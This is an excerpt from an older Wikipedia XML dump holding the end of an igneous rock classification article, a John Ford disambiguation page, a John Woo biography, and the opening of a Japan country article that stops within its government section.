* ''acid'' igneous rocks containing a high silica content, greater than 63% SiO&lt;sub&gt;2&lt;/sub&gt; (examples [[rhyolite]] and [[dacite]])
* ''intermediate'' igneous rocks containing between 52 - 63% SiO&lt;sub&gt;2&lt;/sub&gt; (example [[andesite]])
* ''basic'' igneous rocks have low silica 45 - 52% and typically high iron - magnesium content (example [[basalt]])
* ''ultrabasic'' igneous rocks with less than 45% silica. (examples [[picrite]] and [[komatiite]])
* ''alkalic'' igneous rocks with 5 - 15% alkali (K&lt;sub&gt;2&lt;/sub&gt;O + Na&lt;sub&gt;2&lt;/sub&gt;O) content (examples [[phonolite]] and [[trachyte]])
:Note: the acid-basic terminology is used more broadly in older geological literature.

Chemical classification also extends to differentiating rocks which are chemically similar according to the TAS diagram, for instance;&lt;br&gt;
*[[ultrapotassic igneous rocks|Ultrapotassic]]; rocks containing molar K&lt;sub&gt;2&lt;/sub&gt;O/Na&lt;sub&gt;2&lt;/sub&gt;O &gt;3&lt;br&gt;
*[[peralkaline igneous rocks|Peralkaline]]; rocks containing molar K&lt;sub&gt;2&lt;/sub&gt;O + Na&lt;sub&gt;2&lt;/sub&gt;O/ Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt; &gt;1
*[[peraluminous igneous rocks|Peraluminous]]; rocks containing molar K&lt;sub&gt;2&lt;/sub&gt;O + Na&lt;sub&gt;2&lt;/sub&gt;O/ Al&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt; &lt;1

==Mineralogical Classification==
For volcanic rocks, mineralogy is important in classifying and naming lavas. The most important criteria is the [[phenocryst]] species, followed by the groundmass mineralogy. Often, where the groundmass is [[aphanitic]], chemical classification must be used to properly identify a volcanic rock. 

'''Mineralogic contents - felsic versus mafic'''
* ''[[felsic]]'' rock, with predominance of quartz, alkali [[feldspar]] and/or [[feldspathoid]]s: ''the felsic minerals''; these rocks (e.g., granite) are usually light coloured, and have low density.
* ''[[mafic]]'' rock, with predominance of mafic minerals [[pyroxene]]s, [[olivine]]s and calcic [[plagioclase]]; these rocks (example, basalt) are usually dark coloured, and have higher density than felsic rocks.
* ''[[ultramafic]]'' rock, with more than 90% of mafic minerals (e.g., [[dunite]])

For intrusive, plutonic and usually [[phaneritic]] igneous rocks where all minerals are visible at least via microscope, the mineralogy is used to classify the rock. This usually occurs on ternary diagrams, where the relative proportions of three minerals are used to classify the rock. 

The following table is a simple subdivision of igneous rocks according both to their composition and mode of occurrence.

{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; border=&quot;1&quot;
|- 
|
! bgcolor=&quot;#ffc0c0&quot; colspan=&quot;4&quot; | Composition
|- 
! bgcolor=&quot;#ffc0c0&quot; | Mode of occurrence
| bgcolor=&quot;#c0ffc0&quot; | Acid
| bgcolor=&quot;#c0ffc0&quot; | Intermediate
| bgcolor=&quot;#c0ffc0&quot; | Basic
| bgcolor=&quot;#c0ffc0&quot; | Ultrabasic
|- 
| bgcolor=&quot;#c0ffc0&quot; | Intrusive
| [[Granite]]
| [[Diorite]]
| [[Gabbro]]
| [[Peridotite]]
|- 
| bgcolor=&quot;#c0ffc0&quot; | Extrusive
| [[Rhyolite]]
| [[Andesite]]
| [[Basalt]]
| [[Komatiite]]
|}
For a more detailed classification see [[QAPF diagram]].


===Example of classification===
[[Granite]] is an igneous, intrusive rock (crystallized at depth), with felsic composition (rich in silica and with more than 10% of felsic minerals) and phaneritic, subeuedral texture (minerals are visible for the unaided eye and some of them retain original crystallographic shapes). Granite is the most abundant intrusive rock that can be found in the continents.

==Etymology==
Volcanic rocks are named after [[Vulcan (mythology)|Vulcan]], the [[Ancient Rome|Roman]] name for the god of fire.&lt;br&gt;
Intrusive rocks are also called plutonic rocks, named after [[Pluto (god)|Pluto]], the Roman god of the underworld.

==Reference==
* Le Maitre, L.E., ed., (2002) ''Igneous Rocks: A Classification and Glossary of Terms'' 2nd edition, Cambridge.

==See also==
* [[List of minerals]]
* [[List of rocks]]
* [[Large igneous province]]

==External links==
{{commons|Igneous rock}}
*[http://vulcan.wr.usgs.gov/LivingWith/VolcanicPast/Notes/igneous_rocks.html USGS Igneous Rocks]
*[http://www.geol.lsu.edu/henry/Geology3041/lectures/02IgneousClassify/IUGS-IgneousClassFlowChart.htm Igneous rock classification flowchart]

[[Category:Petrology]]
[[Category:Igneous rocks]]
[[Category:Volcanology]]

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    <title>John Ford (disambiguation)</title>
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      <text xml:space="preserve">'''John Ford''' may refer to:

* [[John Ford]] (1894–1973), film director
* [[John Ford (dramatist)]] (1586–c.1640)
* [[John D. Ford]] (1840–1918), U.S. naval officer
* [[John David Ford]], Green candidate for Canadian House of Commons, 2004, 2006
* [[John M. Ford]] (born 1957), writer, game designer
* [[John Ford (politician)]] (born 1942), Tennessee state senator
* [[John Patrick Ford]], witness in the [[Schapelle Corby]] trial.
* [[John Salmon Ford]] (also called  John ”Rip” Ford) (1815–1897), Texas politician, Texas Ranger, Confederate military officer, journalist

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      <text xml:space="preserve">[[Image:John_woo_small.jpg|right|John Woo]]
'''John Woo''' ({{zh-cp|c=&amp;#21555;&amp;#23431;&amp;#26862;|p=Wú Y&amp;#468;s&amp;#275;n}}) (born [[1 May]], [[1946]], in [[Guangzhou]], [[China]]) is a [[China|Chinese]] [[film director]] known especially for the [[ballet]]-like [[violence]] in his [[film|movie]]s.

==Biography==
When Woo's  parents were faced with persecution, his [[Lutheran]] family fled to [[Hong Kong]] when he was five years old. During this time, the Woo family led a hard life in the slums since his father had [[tuberculosis]] and could not work. In 1953, the family was made [[homeless]] when their house was burned to the ground in a brush fire. It was only thanks to donations from charities that his family were able to move into another house. Unfortunately, by this time, a wave of crime and violence was beginning to infest Hong Kong's housing projects. One of Woo's most vivid childhood memories was of seeing a man being killed on his front steps.

In order to escape his dismal surroundings, Woo would retreat to the local movie theater. It was through [[Musical film|musical]]s like ''[[The Wizard of Oz (1939 film)|The Wizard of Oz]]'' &amp;mdash;a film that still stands as his all-time favorite&amp;mdash;that the young Woo came to realize that the world was not just filled with violence and suffering; it could be beautiful and happy as well.

Woo has been married to Annie Woo Ngau Chun-lung since 1976 and they have three children. He plans to stay in the [[United States]].

==Hong Kong career history==
In 1969, when he was 23, Woo got a job as a script supervisor at Cathay Studios. In 1971, he became an assistant director at [[Shaw Studios]], where the famous [[Chang Cheh]] took him under his wing. In 1974 he directed his first feature film '''The Young Dragons''' (Tie han rou qing)''. Choreographed by [[Jackie Chan]], it was a [[Kung fu]] [[action cinema|action]] film that featured dynamic camera-work and elaborate action scenes. The film was picked up by [[Golden Harvest Studio]] where he went on to direct more martial arts films. He later had success as a comedy director with ''Money Crazy (Fa qian han)'' (1977), starring Hong Kong comedian [[Ricky Hui]]. 

By the mid-1980s, Woo suffered a [[Burnout (psychology)|burnout]]. His films were failures at the box office and he retreated to [[Taiwan]] in exile. John Woo&amp;mdash; once called the new comedy king of Hong Kong&amp;mdash; seemed to be on the way out. It was then that director/producer [[Tsui Hark]] provided the funding for Woo to film a longtime pet project called ''[[A Better Tomorrow]]'' (1986).

The story of two brothers&amp;mdash; one a cop, the other a criminal&amp;mdash; the film became a sensational [[blockbuster (entertainment)|blockbuster]]. ''A Better Tomorrow'' singularly redefined Hong Kong [[action cinema]] with its emotional drama, slow-motion gun-battles and gritty atmosphere. The film's trenchcoat/sunglasses fashion sense, and combat style of using a gun in each hand in close quarters&amp;mdash; often referred to as '[[Gun fu]]'&amp;mdash; would later inspire [[Hollywood]] filmmakers such as [[Quentin Tarantino]] and the [[Wachowski brothers]].

Together with leading man [[Chow Yun-Fat]], John Woo would make several more [[Heroic bloodshed|Heroic Bloodshed]] films in the late 1980s and early 1990s. His violent [[gangster]] [[thriller]]s typically focused on men who were steadfast in their honor and friendship, even though such values forced them to become outcasts in a rapidly-changing world that was more concerned with money and progress. In this respect, Woo's characters were modern-day knights who used guns instead of swords.

The most famous of these movies would be ''[[The Killer (film)|The Killer]] (Die xue shuang xiong)'' (1989), which brought Woo international recognition. Often named as one of the best Hong Kong movies ever made, it was widely praised by critics and fans for its action sequences, acting and [[cinematography]], and often referred to as being a perfect action film. With ''The Killer'' becoming the most successful Hong Kong film in the U.S. since [[Bruce Lee]]'s ''[[Enter the Dragon]]'' (1973), John Woo became a [[cult film|cult]] favorite. One year later he made another masterpiece, ''[[Bullet in the Head]]'', that he still considers as his most personal work. The movie was a major commercial failure in his career though.

It was only a matter of time before [[Hollywood]] took notice. By this time, John Woo had many American admirers, including the likes of [[Martin Scorsese]], and [[Sam Raimi]] - who compared Woo's mastery of action to [[Alfred Hitchcock|Hitchcock]]'s mastery of suspense. Enormously impressed with his work, American executives green-lighted a contract for Woo to work in America. With the [[History of Hong Kong|1997 handover of Hong Kong]] fast approaching, Woo decided that it was indeed time to leave. 

John Woo's last Hong Kong film was ''[[Hard Boiled]]'' (1992), which he made as an antithesis to his movies that glorifie gangsters. Upping the ante with an all-out action film, it featured a Hollywood-scale spectacle in its second half with policemen and criminals waging war inside a hospital - while helpless patients are caught in the crossfire. The film climaxes with supercop [[Chow Yun-Fat]] singing a lullaby to a baby while gunning down incoming gangsters, and then jumping out of a window to safety below, baby in arm.

==United States career history==
In [[1993 in film|1993]], John Woo found himself in a new land with a new culture. He was commissioned by [[Universal Studios]] to direct the [[Jean Claude Van Damme]] film ''[[Hard Target]]''. While Woo was used to creative freedom in Hong Kong, he was forced to deal with a compressed production schedule. He also faced studio-imposed restrictions such as how many people could be killed in each scene, how many bullets Van Damme could pump into somebody, how Van Damme could behave and so on. When initial cuts failed to yield an [[MPAA film rating system|&quot;R&quot; rated film]], the studio took the film from Woo's hands and pared it down themselves in order to produce a cut that was &quot;suitable for American audiences&quot;. A &quot;rough cut&quot; of the film, supposedly his original unrated version, is still circulated among fans.

It would be three long years before Woo made another American directorial attempt. Starring [[John Travolta]] and [[Christian Slater]], ''[[Broken Arrow (duan jian xing dong)(1996 film)|Broken Arrow]]'' was a frantic chase-picture with a bigger budget. Unfortunately, Woo once again found himself hampered by studio interference and editors who did not share his sense of aesthetics and filming style. What resulted was a film that, despite modest financial success, lacked Woo's trademark style. 

Still smarting from his bitter experiences, Woo cautiously rejected the script for ''[[Face/Off]]'' several times until it was rewritten to suit him (by shifting the futuristic setting to a modern one). With [[Paramount Studios]] offering him significantly more freedom this time around, Woo set out to craft a complex story of two enemies&amp;mdash; a law enforcement agent played by [[John Travolta]] and a terrorist played by [[Nicolas Cage]]&amp;mdash;who embark on a fantastical surgical procedure that allows them to switch faces. Trapped in each other's identities, they play a cat-and-mouse game that allowed Woo to do what he did best: emotional characterization and elaborate action. ''Face/Off'' opened in [[1997 in film|1997]] to critical acclaim and performed well at the box office, grossing over $100 million in the [[United States]] alone. As a result, John Woo became the first Asian director to hit mainstream, paving the way for other Asian filmmakers to follow in his footsteps.

John Woo has made three additional Hollywood films:  ''[[Mission: Impossible II]]'', ''[[Windtalkers]]'' and ''[[Paycheck (short story)|Paycheck]]''. While ''Mission: Impossible II'' was a huge hit in [[2000 in film|2000]], ''Windtalkers'' and ''Paycheck'' have been box office duds that were lambasted by critics. It is unclear whether Woo will be able to bounce back from these disappointments.

At the moment John Woo has many projects in mind, including three remakes of French famous thrillers starring [[Alain Delon]] and a videogame called ''[[stranglehold (game)|Stranglehold]]'' for Xbox 360. However he had to give up two projects of videogames' adaptations, ''[[Spy Hunter]]'', which was already in production, and ''[[Metroid]]''. In 2006 he will go back to China with Chow Yun-Fat to shoot his next major project, the highly anticipated ''[[The War of the Red Cliff]]'', based on a historical epic battle from ''[[Romance of the Three Kingdoms]]''.

==Trivia==
* One of Woo's trademarks is doves. He was quoted in the June 2000 edition of ''Premiere'' magazine:  

:&quot;I love doves. I am a Christian. Doves represent the purity of love, beauty. They're spiritual. Also the dove is a messenger between people and God... When I shot ''The Killer'', these two men, the killer and the cop, they work in different ways, but their souls are pure, because they do the right thing. In the church scene, I wanted to bring them together. I wanted to use a metaphor of the heart. I came up with doves &amp;mdash;they're white. When the men die, I cut to the dove flying &amp;mdash;it's the soul, rescued and safe and also pure of heart. So the dove became one of my habits: I used it in ''Hard Boiled'', ''Face/Off'', and in ''Mission: Impossible II''&quot;.

* In the anime series, ''[[R.O.D the TV]]'' which features three girls named after real life Hong Kong action stars, 'John Woo' is the name of a mysterious carrier pigeon.

* [[Quentin Tarantino]] has been quoted in reply to a studio executive who said &quot;I suppose Woo can direct action scenes&quot; as saying &quot;Sure, and Michelangelo can paint ceilings!&quot; 

* When Jean-Claude Van Damme was trying to get Woo for ''Hard Target'' he described him as &quot;the [[Martin Scorsese]] of Asia&quot;.

* In another anime series, ''[[FLCL]]'', two characters can be seen watching the climactic end sequence of an action movie. Although the screen in not visible, it can be surmised that it is indeed a John Woo film, as one of the film's characters exclaims, &quot;What are all these pigeons doing in here?&quot; and a multitude of flapping wings heard. The screen was then broken, and a flock of white doves flew out of the TV set.

* A [[Mexican standoff]] is a common situation in his movies.

* At some point the main characters see and talk to each other using mirrors.

* Japanese [[professional wrestler]] SUWA, of the promotions Dragon's Gate and [[Pro Wrestling NOAH]], utilizes a seated [[dropkick]] that frequently sends its victim flying back-first into the corner.  As a fan of Hong Kong action cinema, he calls this move the &quot;John Woo&quot;, as a [[homage]] to the impact of [[shotgun]] blasts on the human body in Woo's films.

*In the video game [[Max Payne]] there are many homage and reference of John Woo. For example the black suit and tie Max was seen wearing at the beginning, the dual guns and jumping and shooting in slow motion. Also John Woo's name was mentioned at one point in the game.

* John Woo likes the look of the [[Beretta 92F/FS]] pistol and had featured it in many of his movies.  He stated in an interview that it &quot;is a great character&quot; and added that &quot;it's so strong and elegant.&quot;  He also mentioned that other pistols looked dumb to him.

* John Woo enjoyed watching [[Western (genre)|Western]] movies during his youth, especially the final scene in ''[[Butch Cassidy and the Sundance Kid]]'' where the two comrades run out gun blazing (where he got the inspiration of holding two guns). Woo is also a fan of Hollywood musicals and at one point, was a contender for the director's chair for ''[[Phantom of the Opera]]''.

* In the [[PC game]] ''[[F.E.A.R. (computer game)|F.E.A.R.]]'', the developer admitted that they been inspired by John Woo action movies that they wanted the action to be exactly epic to Woo movies.

* The Christian rock band [[Newsboys]] has a song called &quot;John Woo&quot; which makes reference to the religious symbolism he often employs in his films.

==Filmography==
* ''[[The War of the Red Cliff (film)|The War of the Red Cliff]]'' ([[2007 in film|2007]])
* ''[[He-Man (film)|He-Man]]'' ([[2006 in film|2006]])
* ''[[Honor among Thieves (film)|Honor among Thieves]]'' ([[2006 in film|2006]])
* ''[[Rider on the Rain (film)|Rider on the Rain]]'' ([[2006 in film|2006]])
* ''[[The Prone Gunman (film)|The Prone Gunman]]'' ([[2006 in film|2006]])
* ''[[The Red Circle (film)|The Red Circle]]'' ([[2006 in film|2006]])
* ''[[Stranglehold (game)|Stranglehold]]'' ([[video game]]) ([[2006]])
* ''[[Paycheck (short story)|Paycheck]]'' ([[2003 in film|2003]])
* ''Hostage (short [[BMW films|BMW film]])'' ([[2002 in film|2002]])
* ''[[Windtalkers]]'' ([[2001 in film|2001]]) 
* ''[[Mission: Impossible II]]''  
* ''[[Blackjack (film)|Blackjack]]'' ([[1998]]) (TV) 
* ''[[Face/Off]]'' ([[1997 in film|1997]])
* ''[[Once a Thief (1996 film)|Once a Thief]]'' ([[1996]]) (TV)
* ''[[Broken Arrow (1996 film)|Broken Arrow (duan jian xing dong)]]'' ([[1996 in film|1996]]) 
* ''[[Hard Target]]'' 
* ''[[Hard Boiled]] (Lashou shentan)'' 
* ''[[Once a Thief (1991 film)|Once a Thief]] (Zong sheng si hai)'' (1991)
* ''[[Bullet in the Head]] (Die xue jie tou)'' ([[1990 in film|1990]])
* ''[[The Killer (film)|The Killer]] (Die xue shuang xiong)'' 
* ''[[Tragic Heroes]] (Yi dan qun ying)'' (1989) 
* ''[[A Better Tomorrow II]] (Ying xiong ben se II)'' ([[1987 in film|1987]]) 
* ''[[A Better Tomorrow]] (Ying xiong ben se)'' 
* ''[[Heroes Shed No Tears]] (Ying xiong wu lei)'' (1986) 
* ''[[Run, Tiger, Run]] (Liang zhi lao hu)'' ([[1985 in film|1985]])
* ''[[When You Need a Friend]] (Xiao jiang)'' ([[1984 in film|1984]])
* ''[[Plain Jane to the Rescue]] (Ba cai Lin Ya Zhen)'' ([[1982 in film|1982]]) 
* ''[[Laughing Times]] (Hua ji shi dai)'' (1981) (as Wu Hsiang-fei)
* ''[[To Hell with the Devil (movie)|To Hell with the Devil]] (Mo deng tian shi)'' ([[1981 in film|1981]])
* ''[[Hello, Late Homecomers]] (Ha luo, ye gui ren)'' (1978) 
* ''[[Last Hurrah for Chivalry]] (Hao xia)'' (1978) 
* ''[[Follow the Star]] (Da sha xing yu xiao mei tou)'' ([[1978 in film|1978]]) 
* ''[[Money Crazy]] (Fa qian han)'' 
* ''[[From Riches to Rags]] (Qian zuo guai)'' (1977) 
* ''[[Princess Chang Ping]] (Dinu hua)'' (1975) (as Yusen Wu) 
* ''[[Hand of Death]]/Countdown in Kung Fu (Shao Lin men)'' ([[1975 in film|1975]])
* ''[[Fist to Fist]]/Fists of the Double K'' (1974)
* ''[[Belles of Taekwondo]]/The Dragon Tamers (Nu zi tai quan qun ying hui)'' (1974)
* ''[[The Young Dragons]] (Tie han rou qing)''

==See also== 
* [[Cinema of China]]
* [[Cinema of Hong Kong]]

==External links==
* {{imdb name|id=0000247|name=John Woo}}
* [http://www.mediacircus.net/johnwoo.html A John Woo Retrospective]
* [http://www.geocities.com/danwangkw ACTION WEB - Your John Woo &amp; Tsui Hark Resource]

[[Category:1946 births|Woo, John]]
[[Category:Living people|Woo, John]]
[[Category:Chinese film directors|Woo, John]]
[[Category:Hong Kong film directors|Woo, John]]
[[Category:Lutherans|Woo, John]]
[[Category:American film directors|Woo, John]]

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      <comment>rv edits by Dannychoo. This is not a place to advertise blogs</comment>
      <text xml:space="preserve">:''For other uses, see [[Japan (disambiguation)]].''
{{Infobox_Country|
|native_name = 日本国&lt;br&gt;Nihon-koku/Nippon-koku&lt;br&gt;Japan
|common_name = Japan
|image_flag = Flag of Japan.svg
|image_coat = Imperial Seal of Japan.svg
|image_map = LocationJapan.png
|national_motto = 
|national_anthem = [[Kimi Ga Yo]]
|official_languages = [[Japanese language|Japanese]]
|capital = [[Tokyo]] 
|latd=35 |latm=41 |latNS=N |longd=139 |longm=46 |longEW=E |
|largest_city = [[Tokyo]] ''See: [[23 special wards]]''
|government_type = [[Constitutional monarchy]]
|leader_titles = [[Emperor of Japan|Emperor]]&lt;br&gt;[[Prime Minister of Japan|Prime Minister]]
|leader_names = [[Akihito]]&lt;br&gt;[[Junichiro Koizumi]]
|area_rank = 377,835
|area_magnitude = 1 E8
|area= 377,835
|percent_water = 0.8%
|population_estimate = 127,417,244
|population_estimate_year = 2005
|population_estimate_rank = 10th
|population_census = 
|population_census_year = 
|population_density = 337
|population_density_rank = 18th
|GDP_nominal_year= 2004
|GDP_nominal = 4.8 trillion
|GDP_nominal_rank = 2nd
|GDP_PPP_year= 2005
|GDP_PPP = $3.867 trillion
|GDP_PPP_rank = 3rd
|GDP_PPP_per_capita = $30,400
|GDP_PPP_per_capita_rank = 22nd
|sovereignty_type = [[History of Japan|Formation]]
|established_events = [[Meiji Restoration]]&lt;br&gt;[[Japanese Constitution|Current constitution]]&lt;br&gt;[[Treaty of San Francisco]]
|established_dates = &lt;br&gt;[[January 3]], [[1868]]&lt;br&gt;[[May 3]], [[1947]]&lt;br&gt;[[April 28]], [[1952]] 
|HDI_year = 2003
|HDI = 0.943
|HDI_rank = 11th
|HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;
|currency = [[Japanese yen|Yen]] (¥)
|currency_code = JPY
|country_code = JPN
|time_zone = 
|utc_offset = +9 
|time_zone_DST = 
|utc_offset_DST = +10
|cctld = [[.jp]]
|calling_code = 81
|footnotes = 
}}{{Portal}}

'''Japan''' ([[Japanese language|Japanese]]: 日本, '''Nihon''' or '''Nippon''', literally &quot;sun source&quot;) is an [[East Asia]]n [[country]] surrounded by the [[Pacific Ocean]], the [[Sea of Japan]], the [[Philippine Sea]], the [[East China Sea]], and the [[Sea of Okhotsk]]. To the west is [[Korea]] ([[North Korea|North]] and [[South Korea|South]]), to the north [[Russia]], and to the southwest [[People's Republic of China|China]] and [[Taiwan]].

One of the world's [[G8|leading industrialized]] countries, the &quot;[[Names of Japan|Land of the Rising Sun]]&quot; is composed of over 3,000 islands. The largest and main islands are, from north to south, [[Hokkaido|Hokkaidō]], [[Honshu|Honshū]], [[Shikoku]], and [[Kyushu|Kyūshū]]. The [[Ryukyu Islands]], including [[Okinawa]], are southwest of the main islands.

==History==
&lt;!--Please try to keep this section as general as possible. Specific information should be added to a more specific article--&gt;
{{main|History of Japan}}

===Pre-history===
[[Image:MiddleJomonVessel.JPG|thumb|left|160px|A Middle [[Jomon]] vessel (3000 to 2000 BC)]]

[[Archaeology|Archaeological]] research indicates that the earliest inhabitants of the [[Japanese archipelago]] migrated over land bridges from [[Northeast Asia]] about 30,000 years ago. Other evidence also suggests that some may have later come by sea from [[Southeast Asia]] during a period of migration toward the [[Pacific Ocean]].

The first signs of civilization appeared around [[10th millennium BC|10,000 BC]] with the [[Jomon]] culture, characterized by a [[Mesolithic]] to [[Neolithic]] semi-sedentary [[hunter-gatherer]] lifestyle of pit dwelling and a rudimentary form of [[agriculture]]. [[Weaving]] was still unknown and clothes were often made of [[bark]]. Around that time, however, the Jomon people started to make [[clay]] vessels, decorated with patterns made by impressing the wet clay with braided or unbraided cord and sticks (Jomon means &quot;patterns of plaited cord&quot;). This led to the introduction of possibly the earliest known type of [[pottery]] in the world.

The start of the [[Yayoi]] period around 300 BC, marked the influx of new technologies such as [[rice]] farming, [[shamanism]], and [[iron]] and [[bronze]]-making brought by migrants from [[Korean peninsula]]. These formed the basic elements of traditional Japanese culture, still seen today. As the population increased and society became more complex, they wove cloth, lived in permanent farming villages, constructed buildings of wood and stone, accumulated wealth through landownership and the storage of grain, and developed distinct social classes.

The Yayoi period was succeeded around [[250|250 AD]] by the [[Kofun era]], characterized by the establishment of strong military states centered around powerful clans. The [[Yamato]] court, concentrated in the [[Asuka]] region, suppressed the clans and acquired agricultural lands, increasing their power. Based upon the Chinese model, they developed a central administration and an imperial court system and society was organized into occupation groups ([[Ritsuryo]]). Most people were farmers; others were fishermen, weavers, potters, artisans, armorers, and ritual specialists.

===Classical era===
[[Image:TodaijiDaibutsu0224.jpg|thumb|160px|The Great [[Buddha]] at [[Todaiji]], [[Nara, Nara|Nara]], originally cast in 752]]
The Japanese did not start writing their own histories until the 5th and 6th centuries, when the [[Chinese written language|Chinese writing system]], [[Buddhism]], advanced [[pottery]], ceremonial burial, and other aspects of culture were introduced by aristocrats, artisans, scholars, and monks from [[Baekje]], one of the [[Three Kingdoms of Korea]].

The beginning of Japanese historical writing culminated in the early 8th century with the massive chronicles, [[Kojiki]] (The Record of Ancient Matters, 712) and [[Nihonshoki]] (Chronicles of Japan, 720). Though Japan did not appear in written history until 57, when it is first mentioned in Chinese records as the nation of &quot;[[Wa (Japan)|Wa]]&quot; (in Chinese, &quot;Wo&quot;), or &quot;dwarf state&quot;, these chronicles tell a much different and much more legendary history of Japan, deriving the people of Japan from the gods themselves.

According to traditional Japanese mythology, Japan was founded in the 7th century BC by the ancestral Emperor [[Jinmu]], a direct descendant of the Shinto deity [[Amaterasu]]. It is claimed that he started a line of emperors that remains unbroken, to this day. However, historians believe the first emperor who actually existed was Emperor [[Ojin]], though the date of his reign is uncertain. Nonetheless, for most of Japan's history, real power has been in the hands of the court nobility, the [[shogun]]s, the military, or, more recently, prime ministers.

Through the [[Taika Reform Edicts]] of 645, Japanese intensified the adoption of Chinese cultural practices and reorganized the government in accordance with the Chinese administrative structure. This paved the way for the dominance of [[Confucianism|Confucian]] philosophy in Japan until the 19th century.

The [[Nara period]] of the 8th century marked the first strong Japanese state, centered around an imperial court, in the city of Heijo-kyo (now [[Nara, Nara|Nara]]). The imperial court later moved briefly to [[Nagaoka]], and later Heian-kyo (now [[Kyoto]]), starting a &quot;golden age&quot; of classical Japanese culture called the [[Heian Period|Heian period]] which lasted for nearly four centuries and was characterized by the regency regime of the [[Fujiwara clan]].

===Medieval era===
Japan's [[medieval]] era was characterized by the emergence of a ruling class of [[warrior]]s, the [[samurai]]. In the year 1185, general [[Minamoto no Yoritomo]] was the first to break the tradition of ruling alongside the emperor in Kyoto, holding power in distant [[Kamakura, Kanagawa|Kamakura]]. After Yoritomo's death, another warrior clan, the [[Hojo clan|Hojo]], came to rule as regents for the [[shogun]]s. The shogunate managed to repel [[Mongols|Mongol]] invasions from [[Mongol invasions of Korea|Mongol-occupied]] [[Korea]] in 1274 and 1281. The [[Kamakura shogunate]] lasted another fifty years. Its successor, the [[Ashikaga shogunate]], was much weaker, and Japan soon fell into warring factions. The &quot;Warring States&quot; or [[Sengoku period]] ensued.

[[Image:NanbanGroup.JPG|thumb|160px|A group of [[Portuguese people|Portuguese]] [[Nanban]] foreigners, 17th century]]

During the 16th century, traders and [[missionary|missionaries]] from [[Portugal]] reached Japan for the first time, initiating the ''[[Nanban trade period|Nanban]]'' (&quot;southern barbarian&quot;) period of active commercial and cultural exchange between Japan and the West (and even China). During the last quarter of this century, [[Oda Nobunaga]], [[Toyotomi Hideyoshi]], and [[Tokugawa Ieyasu]] established increasingly strong control over the warring states of Japan. Toyotomi reunified the country, and following his death, Tokugawa seized power by defeating his enemies at the [[Battle of Sekigahara]] in 1600, moving the capital to [[Edo]] (now [[Tokyo]]) and founding the [[Tokugawa shogunate]]. 

The Tokugawa shogunate, suspicious of the influence of [[Catholic]] missionaries, barred all relations with Europeans, except for severely restricted contacts with [[the Netherlands|Dutch]] merchants at the [[artificial island]] of [[Dejima]], near [[Nagasaki]]. They also became more conscious of trade with China, especially after the [[Manchu]] conquered China and established the [[Qing Dynasty]]. The Manchus subjugated Korea in 1637, and the Japanese feared an invasion. Thus, the country became more isolated than ever before. This period of isolation lasted for two and a half centuries, a time of tenuous political unity known as the [[Edo period]], considered to be the height of Japan's medieval culture.

===Modern era===
[[Image:Japanese_Empire2.png|thumb|240px|The Empire of Japan encompassed most of East and Southeast Asia at its height, in 1942]]

In 1854, [[Matthew Perry (naval officer)|Commodore Matthew Calbraith Perry]] of the United States forced the opening of Japan to the West with the [[Convention of Kanagawa]]. The perceived weakness of the shogunate led many samurai to revolt, leading to the [[Boshin War]] of 1867 to 1868. Subsequently, the shogunate resigned, and the [[Meiji Restoration]] returned the emperor to power. Japan adopted numerous Western institutions during the [[Meiji period]], including a modern government, legal system, and military. These reforms helped transform the [[Empire of Japan]] into a world power, defeating [[China]] in the [[First Sino-Japanese War]] and [[Russia]] in the [[Russo-Japanese War]]. By 1910, Japan controlled [[Korea]], [[Taiwan]], and the southern half of [[Sakhalin]].

The early 20th century saw a brief period of &quot;[[Taisho democracy]]&quot; overshadowed by the rise of [[Japanese expansionism]]. [[World War I]] enabled Japan, which fought on the side of the victorious [[Allies]], to expand its influence in [[Asia]], and its territorial holdings in the Pacific. In 1936, however, Japan signed the [[Anti-Comintern Pact]], joining with Germany and Italy to form the [[Axis]] alliance. During this period, Japan invaded China, occupying [[Manchuria]] in 1931, and continued its expansion into [[China proper]] in 1937, starting the [[Second Sino-Japanese War]], which lasted until the end of World War II. In 1941, after US [[Franklin D. Roosevelt|President Franklin D. Roosevelt]] demanded that Japan withdraw its forces from China, Japan [[Attack on Pearl Harbor|attacked the United States naval base in Pearl Harbor]] as well as [[United Kingdom|British]] and [[Netherlands|Dutch]] colonies in [[Southeast Asia]], bringing itself and the [[United States]] into [[World War II]]. After a long campaign in the [[Pacific Ocean]], Japan lost its initial territorial gains, and American forces moved close enough to begin [[strategic bombing]] of [[Tokyo]], [[Osaka]], and other major cities, as well as the [[atomic bombing of Hiroshima and Nagasaki|atomic bombing]]s of [[Hiroshima]] and [[Nagasaki]]. The Japanese eventually agreed to an unconditional surrender to the Allies on [[August 15]], [[1945]] ([[V-J Day]]). The [[International Military Tribunal for the Far East|Tokyo War Crimes Tribunal]] was convened on [[May 3]][[1946]] to prosecute [[Japanese war crimes]], including atrocities like the [[Nanking Massacre]]. Emperor [[Hirohito]], however, was given immunity and retained his title.

The war cost millions of lives in Japan and other countries, especially in [[East Asia]], and left much of the country's industries and infrastructure destroyed. Official [[Occupied Japan|American occupation]] lasted until 1952, although [[United States Forces Japan|U.S. forces]] still retain important bases in Japan, especially in [[Okinawa]]. In 1947, Japan adopted a new [[pacifism|pacifist]] [[Constitution of Japan|constitution]], seeking international cooperation and emphasizing human rights and democratic practices. 

After the occupation, under a program of aggressive industrial development and U.S. assistance, Japan achieved spectacular growth to become one of the largest economies in the world. Despite a major [[stock market crash]] in 1990, from which the country is recovering gradually, Japan remains a global economic power today and is now bidding for a permanent seat on the [[United Nations Security Council]].

==Government and politics==
{{main|Government of Japan}}
===The Parliament===
[[Image:The Diet.jpg|250px|thumb|right|The Parliament sits in joint session.]]
The [[Constitution of Japan]] states that the nation's &quot;highest organ of state power&quot; is its bicameral [[parliament]], the [[Diet of Japan|National Diet]]. The Diet consists of a [[House of Representatives of Japan|House of Representatives]] (Lower House or ''Shūgi-in'') containing 480 seats, elected by popular vote every four years or when dissolved, and a [[House of Councillors]] &lt;!-- The official English Web page of the House of Councillors (see link in Diet of Japan article) spells the word with a double &quot;l&quot; --&gt;(Upper House or ''Sangi-in'') of 242 seats, whose popularly-elected members serve six-year terms. There is universal adult (over 20 years old) [[suffrage]], with a [[secret ballot]] for all elective offices.

